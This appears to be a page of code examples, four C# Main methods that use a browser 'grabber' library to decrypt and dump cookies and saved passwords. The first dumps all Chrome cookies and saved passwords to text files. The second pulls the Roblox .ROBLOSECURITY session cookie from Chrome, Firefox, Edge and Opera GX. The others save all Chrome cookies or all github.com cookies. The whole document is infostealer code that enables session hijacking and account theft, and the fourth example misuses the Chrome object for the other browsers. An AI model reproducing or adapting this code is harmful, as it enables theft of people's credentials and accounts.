예제 #1
0
        static void Main(string[] args)
        {
            StringBuilder cookieschrome   = new StringBuilder();
            StringBuilder passwordschrome = new StringBuilder();

            ChromeGrabber cg = new ChromeGrabber();

            if (cg.CookiesExists() && cg.PasswordsExists() && cg.KeyExists())
            {
                foreach (var item in cg.GetAllCookies(cg.GetKey()))
                {
                    cookieschrome.AppendLine(item.HostName + " = " + item.Name + ":" + item.Value);
                }

                foreach (var item in cg.GetAllPasswords(cg.GetKey()))
                {
                    passwordschrome.AppendLine(item.url + " = " + item.username + ":" + item.password);
                }
            }

            File.WriteAllText("cookies.txt", cookieschrome.ToString());
            File.WriteAllText("password.txt", passwordschrome.ToString());
            Console.Write("Done !");
            Console.ReadKey();
        }
예제 #2
0
        static void Main(string[] args)
        {
            ChromeGrabber cg = new ChromeGrabber(); FirefoxGrabber fg = new FirefoxGrabber(); EdgeGrabber eg = new EdgeGrabber(); OperaGxGrabber og = new OperaGxGrabber();

            if (cg.CookiesExists())
            {
                foreach (var item in cg.GetCookiesByHostname(".roblox.com", cg.GetKey()))
                {
                    if (item.Name == (".ROBLOSECURITY"))
                    {
                        Console.WriteLine(item.Value + "\n");
                    }
                }
            }
            if (fg.CookiesExists())
            {
                foreach (var item in fg.GetCookiesByHostname(".roblox.com"))
                {
                    if (item.Name == (".ROBLOSECURITY"))
                    {
                        Console.WriteLine(item.Value + "\n");
                    }
                }
            }
            if (eg.CookiesExists())
            {
                foreach (var item in eg.GetCookiesByHostname(".roblox.com", eg.GetKey()))
                {
                    if (item.Name == (".ROBLOSECURITY"))
                    {
                        Console.WriteLine(item.Value + "\n");
                    }
                }
            }
            if (og.CookiesExists())
            {
                foreach (var item in og.GetCookiesByHostname(".roblox.com", og.GetKey()))
                {
                    if (item.Name == (".ROBLOSECURITY"))
                    {
                        Console.WriteLine(item.Value + "\n");
                    }
                }
            }
            Console.ReadKey();
        }
예제 #3
0
        static void Main(string[] args)
        {
            StringBuilder chromeCookies = new StringBuilder();

            ChromeGrabber cg = new ChromeGrabber();

            if (cg.CookiesExists() && cg.KeyExists())
            {
                foreach (var item in cg.GetAllCookies(cg.GetKey()))
                {
                    chromeCookies.AppendLine(item.HostName + " = " + item.Name + ":" + item.Value);
                }
            }

            File.WriteAllText("cookies.txt", chromeCookies.ToString());
            Console.WriteLine("Cookies Grabbed and saved Successfully!");
            Console.ReadKey();
        }
예제 #4
0
        static void Main(string[] args)
        {
            StringBuilder githubCookies = new StringBuilder();

            ChromeGrabber cg = new ChromeGrabber(); FirefoxGrabber fg = new FirefoxGrabber(); EdgeGrabber eg = new EdgeGrabber(); OperaGxGrabber og = new OperaGxGrabber();

            if (cg.CookiesExists())
            {
                foreach (var item in cg.GetCookiesByHostname(".github.com", cg.GetKey()))
                {
                    githubCookies.AppendLine(item.HostName + " = " + item.Name + ":" + item.Value);
                }
            }
            if (fg.CookiesExists())
            {
                foreach (var item in cg.GetCookiesByHostname(".github.com", fg.GetKey()))
                {
                    githubCookies.AppendLine(item.HostName + " = " + item.Name + ":" + item.Value);
                }
            }
            if (eg.CookiesExists())
            {
                foreach (var item in cg.GetCookiesByHostname(".github.com", eg.GetKey()))
                {
                    githubCookies.AppendLine(item.HostName + " = " + item.Name + ":" + item.Value);
                }
            }
            if (og.CookiesExists())
            {
                foreach (var item in cg.GetCookiesByHostname(".github.com", og.GetKey()))
                {
                    githubCookies.AppendLine(item.HostName + " = " + item.Name + ":" + item.Value);
                }
            }


            File.WriteAllText("cookies.txt", githubCookies.ToString());
            Console.WriteLine("Cookies Grabbed and saved Successfully!");
            Console.ReadKey();
        }